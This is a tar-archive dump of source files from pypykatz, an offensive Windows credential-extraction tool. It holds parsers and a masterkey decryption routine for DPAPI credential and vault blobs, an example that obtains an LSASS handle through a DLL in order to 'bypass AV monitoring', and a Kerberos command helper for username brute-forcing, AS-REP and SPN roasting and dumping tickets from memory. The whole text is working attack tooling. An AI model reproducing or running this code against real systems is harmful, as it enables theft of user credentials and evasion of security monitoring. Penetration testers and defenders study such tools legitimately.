bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dc64974c99aa6c43bb30ff39b3dd407c0000000002000000000003660000c000000010000000f1af675a51c8283cf81abb6fb600110f0000000004800000a0000000100000009bf4e56d6c32dd59bce655496a94444c1000000088438c8f61d966ac220b4ca50933c8ee14000000314eaa780e358e70c586fb47bee0e27549be480e') db = DPAPI_BLOB.from_bytes(data) print(str(db))././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/structures/credentialfile.py0000664000175000017500000001442214543266630023620 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import enum from pypykatz.dpapi.structures.blob import DPAPI_BLOB class CredentialFile: """ """ def __init__(self): self.version = None self.size = None self.unk = None self.data = None #not in the spec self.blob = None @staticmethod def from_bytes(data): return CredentialFile.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = CredentialFile() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.size = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk = int.from_bytes(buff.read(4), 'little', signed = False) sk.data = buff.read(sk.size) sk.blob = DPAPI_BLOB.from_bytes(sk.data) return sk def __str__(self): t = '== CredentialFile ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class CREDENTIAL_ATTRIBUTE: """ """ def __init__(self): self.flags = None self.keyword_length = None self.keyword = None self.data_length = None self.data = None @staticmethod def from_bytes(data): return CREDENTIAL_ATTRIBUTE.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = CREDENTIAL_ATTRIBUTE() sk.flags = int.from_bytes(buff.read(4), 'little', signed = False) sk.keyword_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.keyword = buff.read(sk.keyword_length) try: sk.keyword = sk.keyword.decode('utf-16-le') except: pass sk.data_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.data = buff.read(sk.data_length) return sk def to_text(self): t = '' if len(self.keyword) > 0: t += 'keyword: %s\r\n' % str(self.keyword) if len(self.data) > 0: t += 'data: %s\r\n' % str(self.data) return t def __str__(self): t = '== CREDENTIAL_ATTRIBUTE ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class CREDBLOBTYPE(enum.Enum): UNKNOWN = 0 GENERIC = 1 DOMAIN_PASSWORD = 2 DOMAIN_CERTIFICATE = 3 DOMAIN_VISIBLE_PASSWORD = 4 GENERIC_CERTIFICATE = 5 DOMAIN_EXTENDED = 6 class CREDENTIAL_BLOB: """ """ def __init__(self): self.flags = None self.size = None self.unk0 = None self.type = None self.flags2 = None self.last_written = None self.unk1 = None self.persist = None self.attributes_count = None self.unk2 = None self.target_length = None self.target = None self.target_alias_length = None self.target_alias = None self.description_length = None self.description = None self.unknown3_length = None self.unknown3 = None self.username_length = None self.username = None self.unknown4_length = None self.unknown4 = None self.attributes = [] self.type_pretty = None @staticmethod def from_bytes(data): return CREDENTIAL_BLOB.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = CREDENTIAL_BLOB() sk.flags = int.from_bytes(buff.read(4), 'little', signed = False) sk.size = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) sk.type = int.from_bytes(buff.read(4), 'little', signed = False) try: sk.type_pretty = CREDBLOBTYPE(sk.type) except: sk.type_pretty = CREDBLOBTYPE.UNKNOWN sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False) sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False) sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) sk.persist = int.from_bytes(buff.read(4), 'little', signed = False) sk.attributes_count = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk2 = int.from_bytes(buff.read(8), 'little', signed = False) sk.target_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.target = buff.read(sk.target_length) if sk.target_length > 0: try: sk.target = sk.target.decode('utf-16-le') except: pass sk.target_alias_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.target_alias = buff.read(sk.target_alias_length) if sk.target_alias_length > 0: try: sk.target_alias = sk.target_alias.decode('utf-16-le') except: pass sk.description_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.description = buff.read(sk.description_length) if sk.description_length > 0: try: sk.description = sk.description.decode('utf-16-le') except: pass sk.unknown3_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.unknown3 = buff.read(sk.unknown3_length) sk.username_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.username = buff.read(sk.username_length) if sk.username_length > 0: try: sk.username = sk.username.decode('utf-16-le') except: pass sk.unknown4_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.unknown4 = buff.read(sk.unknown4_length) for _ in range(sk.attributes_count): attr = CREDENTIAL_ATTRIBUTE.from_buffer(buff) sk.attributes.append(attr) return sk def to_text(self): t = '' t += 'type : %s (%s)\r\n' % (self.type_pretty.name, self.type) t += 'last_written : %s\r\n' % self.last_written if len(self.target) > 0: t += 'target : %s\r\n' % str(self.target) if len(self.target_alias) > 0: t += 'target_alias : %s\r\n' % str(self.target_alias) if len(self.description) > 0: t += 'description : %s\r\n' % str(self.description) if len(self.unknown3) > 0: t += 'unknown3 : %s\r\n' % str(self.unknown3) if len(self.username) > 0: t += 'username : %s\r\n' % str(self.username) if len(self.unknown4) > 0: t += 'unknown4 : %s\r\n' % str(self.unknown4) for attr in self.attributes: t += 'ATTRIBUTE\r\n' t += attr.to_text() return t def __str__(self): t = '== CREDENTIAL_BLOB ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/structures/masterkeyfile.py0000664000175000017500000001544514543266630023520 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import sys from pypykatz.dpapi.constants import * from hashlib import sha1 import hmac class CredHist: """ """ def __init__(self): self.version = None self.guid = None @staticmethod def from_bytes(data): return CredHist.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = CredHist() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.guid = buff.read(16) return sk def __str__(self): t = '== CredHist ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class DomainKey: """ """ def __init__(self): self.version = None self.secret_length = None self.access_check_length = None self.guid = None self.secret = None self.access_check = None @staticmethod def from_bytes(data): return DomainKey.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = DomainKey() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.secret_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.access_check_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.guid = buff.read(16) sk.secret = buff.read(sk.secret_length) sk.access_check = buff.read(sk.access_check_length) return sk def __str__(self): t = '== DomainKey ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class MasterKey: """ Represents a key, which can be for a masterkey or backupkey """ def __init__(self): self.version = None self.salt = None self.iteration_count = None self.hash_algorithm = None self.crypto_algorithm = None self.data = None @staticmethod def from_bytes(data): return MasterKey.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = MasterKey() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.salt = buff.read(16) sk.iteration_count = int.from_bytes(buff.read(4), 'little', signed = False) sk.hash_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False)) sk.crypto_algorithm = ALGORITHMS(int.from_bytes(buff.read(4), 'little', signed = False)) sk.data = buff.read() return sk def decrypt(self, key): if self.hash_algorithm == ALGORITHMS.CALG_HMAC: hash_type = sha1 else: hash_type = ALGORITHMS_DATA[self.hash_algorithm][1] keylen = ALGORITHMS_DATA[self.crypto_algorithm][0] + ALGORITHMS_DATA[self.crypto_algorithm][3] temp_key_blob = b"" i = 1 while len(temp_key_blob) < keylen: U = self.salt + i.to_bytes(4, 'big', signed = False) i += 1 derived = hmac.new(key, U, hash_type).digest() for _ in range(self.iteration_count - 1): actual = hmac.new(key,derived, hash_type).digest() derived = (int.from_bytes(derived, sys.byteorder) ^ int.from_bytes(actual, sys.byteorder)).to_bytes(len(actual), sys.byteorder) temp_key_blob += derived temp_key = temp_key_blob[:keylen] #print('temp_key : %s' % temp_key) crypt_key = temp_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]] iv = temp_key[ALGORITHMS_DATA[self.crypto_algorithm][0]:][:ALGORITHMS_DATA[self.crypto_algorithm][3]] cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], IV = iv) cleartext = cipher.decrypt(self.data) key_dec = cleartext[-64:] hmac_salt = cleartext[:16] hmac_res = cleartext[16:][:ALGORITHMS_DATA[self.hash_algorithm][0]] hmac_key = hmac.new(key, hmac_salt, hash_type).digest() hmac_calc = hmac.new(hmac_key, key_dec, hash_type).digest() #print(hmac_calc) #print(hmac_res) if hmac_calc[:ALGORITHMS_DATA[self.hash_algorithm][0]] == hmac_res: return key_dec else: return None def __str__(self): t = '== MasterKey ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class MasterKeyFile: """ A masterkeyfile is a file that can hold multiple different keys, namely the masterkey, backupkey, credential history key, domainkey. Not necessarily all of them present in a file """ def __init__(self): self.version = None self.unk1 = None self.unk2 = None self.guid = None self.unk3 = None self.policy = None self.flags = None self.masterkey_length = None self.backupkey_length = None self.credhist_length = None self.domainkey_length = None self.masterkey:MasterKey = None self.backupkey:MasterKey = None self.credhist:CredHist = None self.domainkey:DomainKey = None @staticmethod def from_bytes(data): return MasterKeyFile.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = MasterKeyFile() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk2 = int.from_bytes(buff.read(4), 'little', signed = False) sk.guid = buff.read(72).decode('utf-16-le') sk.unk3 = int.from_bytes(buff.read(4), 'little', signed = False) sk.policy = int.from_bytes(buff.read(4), 'little', signed = False) sk.flags = int.from_bytes(buff.read(4), 'little', signed = False) sk.masterkey_length = int.from_bytes(buff.read(8), 'little', signed = False) sk.backupkey_length = int.from_bytes(buff.read(8), 'little', signed = False) sk.credhist_length = int.from_bytes(buff.read(8), 'little', signed = False) sk.domainkey_length = int.from_bytes(buff.read(8), 'little', signed = False) if sk.masterkey_length > 0: sk.masterkey = MasterKey.from_bytes(buff.read(sk.masterkey_length)) if sk.backupkey_length > 0: sk.backupkey = MasterKey.from_bytes(buff.read(sk.backupkey_length)) if sk.credhist_length > 0: sk.credhist = CredHist.from_bytes(buff.read(sk.credhist_length)) if sk.domainkey_length > 0: sk.domainkey = DomainKey.from_bytes(buff.read(sk.domainkey_length)) return sk def __str__(self): t = '== MasterKeyFile ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t if __name__ == '__main__': filename = 'C:\\Users\\victim\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3448413973-1765323015-1500960949-1105\\4c9764dc-aa99-436c-bb30-ff39b3dd407c' with open(filename, 'rb') as f: mkf = MasterKeyFile.from_bytes(f.read()) print(str(mkf)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/structures/system.py0000664000175000017500000000142114543266630022165 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import enum class DPAPI_SYSTEM: def __init__(self): self.version = None self.machine_key = None self.user_key = None @staticmethod def from_bytes(data): return DPAPI_SYSTEM.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = DPAPI_SYSTEM() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.machine_key = buff.read(20) sk.user_key = buff.read(20) return sk def __str__(self): t = '== DPAPI_SYSTEM ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/structures/vault.py0000664000175000017500000002231414543266630022000 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import enum from pypykatz.commons.win_datatypes import GUID from pypykatz.dpapi.structures.blob import DPAPI_BLOB class VAULT_ATTRIBUTE_MAP_ENTRY: def __init__(self): self.id = None self.offset = None self.unk0 = None @staticmethod def from_bytes(data): return VAULT_ATTRIBUTE_MAP_ENTRY.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = VAULT_ATTRIBUTE_MAP_ENTRY() sk.id = int.from_bytes(buff.read(4), 'little', signed = False) sk.offset = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) return sk def __str__(self): t = '== VAULT_ATTRIBUTE_MAP_ENTRY ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class VAULT_ATTRIBUTE: def __init__(self): self.id = None self.unk0 = None self.unk1 = None self.unk2 = None self.padding = None self.unk3 = None self.size = None self.iv_present = None self.iv_size = None self.iv = None self.data = None @staticmethod def from_bytes(data): return VAULT_ATTRIBUTE.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): pos = buff.tell() buff.seek(-1, 2) size = buff.tell() - pos buff.seek(pos, 0) sk = VAULT_ATTRIBUTE() sk.id = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk2 = int.from_bytes(buff.read(4), 'little', signed = False) if size > 20: pos = buff.tell() test = buff.read(6) if test == b'\x00'*6: sk.padding = test else: buff.seek(pos, 0) if sk.id >= 100: sk.unk3 = int.from_bytes(buff.read(4), 'little', signed = False) if size > 25: sk.size = int.from_bytes(buff.read(4), 'little', signed = False) sk.iv_present = bool(buff.read(1)[0]) if sk.iv_present: sk.iv_size = int.from_bytes(buff.read(4), 'little', signed = False) sk.iv = buff.read(sk.iv_size) sk.data = buff.read(sk.size - (sk.iv_size + 5)) else: sk.data = buff.read(sk.size - 1 ) return sk def __str__(self): t = '== VAULT_ATTRIBUTE ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class VAULT_VCRD: """ """ def __init__(self): self.schema_guid = None self.unk0 = None self.last_written = None self.unk1 = None self.unk2 = None self.friendlyname_length = None self.friendlyname = None self.attribute_maps_length = None self.attribute_maps = None self.vames = [] self.attributes = [] @staticmethod def from_bytes(data): return VAULT_VCRD.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = VAULT_VCRD() sk.schema_guid = GUID(buff).value sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False) sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk2 = int.from_bytes(buff.read(4), 'little', signed = False) sk.friendlyname_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.friendlyname = buff.read(sk.friendlyname_length) if sk.friendlyname_length > 0: try: sk.friendlyname = sk.friendlyname.decode('utf-16-le') except: pass sk.attribute_maps_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.attribute_maps = buff.read(sk.attribute_maps_length) sk.attributes = [] db = io.BytesIO(sk.attribute_maps) for _ in range(sk.attribute_maps_length // 12): vame = VAULT_ATTRIBUTE_MAP_ENTRY.from_buffer(db) sk.vames.append(vame) i = 0 while i < len(sk.vames) - 1: buff.seek(sk.vames[i].offset) data = buff.read(sk.vames[i+1].offset - sk.vames[i].offset) va = VAULT_ATTRIBUTE.from_bytes(data) sk.attributes.append(va) i+=1 va = VAULT_ATTRIBUTE.from_buffer(buff) sk.attributes.append(va) return sk def __str__(self): t = '== VAULT_VCRD ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class VAULT_VPOL: def __init__(self): self.version = None self.guid = None self.description_length = None self.description = None self.unk0 = None self.size = None self.guid2 = None self.guid3 = None self.key_size = None self.blob = None #encrypted VAULT_VPOL_KEYS self.blobdata = None #encrypted VAULT_VPOL_KEYS @staticmethod def from_bytes(data): return VAULT_VPOL.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = VAULT_VPOL() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.guid = GUID(buff).value sk.description_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.description = buff.read(sk.description_length) sk.unk0 = buff.read(12) sk.size = int.from_bytes(buff.read(4), 'little', signed = False) sk.guid2 = GUID(buff).value sk.guid3 = GUID(buff).value sk.key_size = int.from_bytes(buff.read(4), 'little', signed = False) sk.blobdata = buff.read(sk.key_size) sk.blob = DPAPI_BLOB.from_bytes(sk.blobdata) return sk def __str__(self): t = '== VAULT_VPOL ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class VAULT_VPOL_KEYS: def __init__(self): self.key1 = None self.key2 = None @staticmethod def from_bytes(data): return VAULT_VPOL_KEYS.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = VAULT_VPOL_KEYS() res = [] for _ in range(2): test = buff.read(1) buff.seek(-1,1) if test == b'\x24' or test == b'\x34': res.append(KDBM.from_buffer(buff)) else: res.append(KSSM.from_buffer(buff)) sk.key1 = res[0] sk.key2 = res[1] return sk def __str__(self): t = '== VAULT_VPOL_KEYS ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class KDBM: def __init__(self): self.size = None self.version = None self.unk0 = None self.keyblob = None def get_key(self): return self.keyblob.key @staticmethod def from_bytes(data): return KDBM.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): from pypykatz.commons.common import hexdump sk = KDBM() sk.size = int.from_bytes(buff.read(4), 'little', signed = False) sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) sk.keyblob = BCRYPT_KEY_DATA_BLOB_HEADER.from_bytes(buff.read(sk.size - 8)) return sk def __str__(self): t = '== KDBM ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class KSSM: def __init__(self): self.size = None self.version = None self.unk0 = None self.keyblob = None def get_key(self): return self.keyblob @staticmethod def from_bytes(data): return KSSM.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = KSSM() sk.size = int.from_bytes(buff.read(4), 'little', signed = False) sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False) sk.keyblob = buff.read(sk.size - 8) return sk def __str__(self): t = '== KSSM ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class BCRYPT_KEY_DATA_BLOB_HEADER: def __init__(self): self.magic = None self.version = None self.key_data= None self.key = None @staticmethod def from_bytes(data): return BCRYPT_KEY_DATA_BLOB_HEADER.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = BCRYPT_KEY_DATA_BLOB_HEADER() sk.magic = int.from_bytes(buff.read(4), 'little', signed = False) sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.key_data = int.from_bytes(buff.read(4), 'little', signed = False) sk.key = buff.read(sk.key_data) return sk def __str__(self): t = '== BCRYPT_KEY_DATA_BLOB_HEADER ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/example/0000775000175000017500000000000014647211624016402 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/example/__init__.py0000664000175000017500000000000014543266630020503 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/example/phandle_dll.py0000664000175000017500000000127514543266630021231 0ustar00webdevwebdev # # In case you happen to have a DLL that has an export which returns a handle to LSASS process # You can use this example to load such DLL via ctypes and call pypykatz using said handle # Might be interesting to bypass AV monitoring openprocess on LSASS # from ctypes import windll, c_void_p from pypykatz.pypykatz import pypykatz dll_path = '' def get_lsass_handle(): your_dll = windll.LoadLibrary(dll_path) _your_function = your_dll.your_function _your_function.argtypes = [] #I guess no args _your_function.restype = c_void_p #this is basically a handle phandle = _your_function() return phandle phandle = get_lsass_handle() res = pypykatz.go_live_phandle(phandle) print(str(res)) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/kerberos/0000775000175000017500000000000014647211624016563 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/__init__.py0000664000175000017500000000000014543266630020664 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/cmdhelper.py0000664000175000017500000004342214543266630021107 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import os import base64 import platform import argparse import asyncio from pypykatz import logger import traceback from minikerberos.common.utils import print_table from minikerberos.protocol.asn1_structs import KRB_CRED from pypykatz.commons.filetime import filetime_to_dt from pypykatz.commons.common import geterr from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \ brute, asreproast, spnroast, s4u, process_keytab, list_ccache, \ del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi from msldap.commons.factory import LDAPConnectionFactory from minikerberos.common.spn import KerberosSPN from minikerberos.common.creds import KerberosCredential """ Kerberos is not part of pypykatz directly. This is a wrapper for minikerberos """ class KerberosCMDHelper: def __init__(self): self.live_keywords = ['kerberos'] self.keywords = ['kerberos'] @staticmethod def luid_converter(luid): if luid.startswith('0x') is True: luid = int(luid, 16) return int(luid) def add_args(self, parser, live_parser): live_subcommand_parser = argparse.ArgumentParser(add_help=False) live_kerberos_subparsers = live_subcommand_parser.add_subparsers(help = 'live_kerberos_module') live_kerberos_subparsers.required = True live_kerberos_subparsers.dest = 'live_kerberos_module' live_luid_parser = live_kerberos_subparsers.add_parser('currentluid', help = 'Prints out the LUID of the current user') live_roast_parser = live_kerberos_subparsers.add_parser('roast', help = 'Automatically run spnroast and asreproast') live_roast_parser.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in') live_tgs_parser = live_kerberos_subparsers.add_parser('tgt', help = 'Request a TGT ticket. It may work better specifying the target as cifs/') live_tgs_parser.add_argument('--target', help='SPN string of the service to request the ticket for') live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name') live_tgs_parser = live_kerberos_subparsers.add_parser('apreq', help = 'Request a APREQ ticket for a given service') live_tgs_parser.add_argument('target', help='SPN string of the service to request the ticket for') live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name') live_purge_parser = live_kerberos_subparsers.add_parser('purge', help = 'Purge all tickets. For the current user use --luid 0') live_purge_parser.add_argument('--luid', help='LUID of the user whose tickets to be purged. Use "0x" if you specify a hex value!') live_sessions_parser = live_kerberos_subparsers.add_parser('sessions', help = 'List user sessions. Needs elevated privileges.') live_export_parser = live_kerberos_subparsers.add_parser('dump', help = 'Fetches tickets for a given session or all sessions from memory and prints or exports them as .kirbi files') live_export_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!') live_export_parser.add_argument('-o', '--outdir', help='path to kirbi directory') live_triage_parser = live_kerberos_subparsers.add_parser('triage', help = 'List tickets for a given session or all sessions') live_triage_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!') live_parser.add_parser('kerberos', help = 'Kerberos related commands', parents=[live_subcommand_parser]) #offline part #ccache part ccache_subcommand_parser = argparse.ArgumentParser(add_help=False) kerberos_ccache_subparsers = ccache_subcommand_parser.add_subparsers(help = 'ccache_command') kerberos_ccache_subparsers.required = True kerberos_ccache_subparsers.dest = 'ccache_module' ccache_list = kerberos_ccache_subparsers.add_parser('list', help = 'List ccache file contents') ccache_list.add_argument('ccachefile', help='path to CCACHE file') ccache_del = kerberos_ccache_subparsers.add_parser('del', help = 'Delete tickets from ccache file based on their order. To get the order user the list command.') ccache_del.add_argument('ccachefile', help='path to CCACHE file') ccache_del.add_argument('index', type=int, help='ticket index to delete') ccache_roast = kerberos_ccache_subparsers.add_parser('roast', help = 'Convert stored tickets to hashcat crackable format') ccache_roast.add_argument('ccachefile', help='path to CCACHE file') ccache_roast.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in') ccache_kirbi = kerberos_ccache_subparsers.add_parser('loadkirbi', help = 'Add kirbi file to ccache file.') ccache_kirbi.add_argument('ccachefile', help='path to CCACHE file') ccache_kirbi.add_argument('kirbifile', help='path to kirbi file / directory') ccache_kirbi = kerberos_ccache_subparsers.add_parser('exportkirbi', help = 'Export tickets to kirbi files. One ticket per file.') ccache_kirbi.add_argument('ccachefile',help='path to CCACHE file') ccache_kirbi.add_argument('kirbidir', help='path to kirbi directory ') #kirbi kirbi_subcommand_parser = argparse.ArgumentParser(add_help=False) kerberos_kirbi_subparsers = kirbi_subcommand_parser.add_subparsers(help = 'kirbi_command') kerberos_kirbi_subparsers.required = True kerberos_kirbi_subparsers.dest = 'kirbi_module' kirbi_list = kerberos_kirbi_subparsers.add_parser('parse', help = 'Parse kirbi file and show the ticket') kirbi_list.add_argument('kirbifile', help='path to kirbi file') kerberos_group = parser.add_parser('kerberos', help='Kerberos related commands') kerberos_subparsers = kerberos_group.add_subparsers() kerberos_subparsers.required = True kerberos_subparsers.dest = 'kerberos_module' tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user') tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:Passw0rd!1@10.10.10.2"') tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') tgt_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested') tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user') tgs_parser.add_argument('url', help='user credentials in URL format') tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for') tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') tgs_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested') brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames') brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') brute_parser.add_argument('-o','--out-file', help='Output file to store the found usernames.') brute_parser.add_argument('-n','--show-negatives', action='store_true', help='Print failed enumerations') brute_parser.add_argument('address', help='Kerberos server IP/hostname') brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast') asreproast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.') 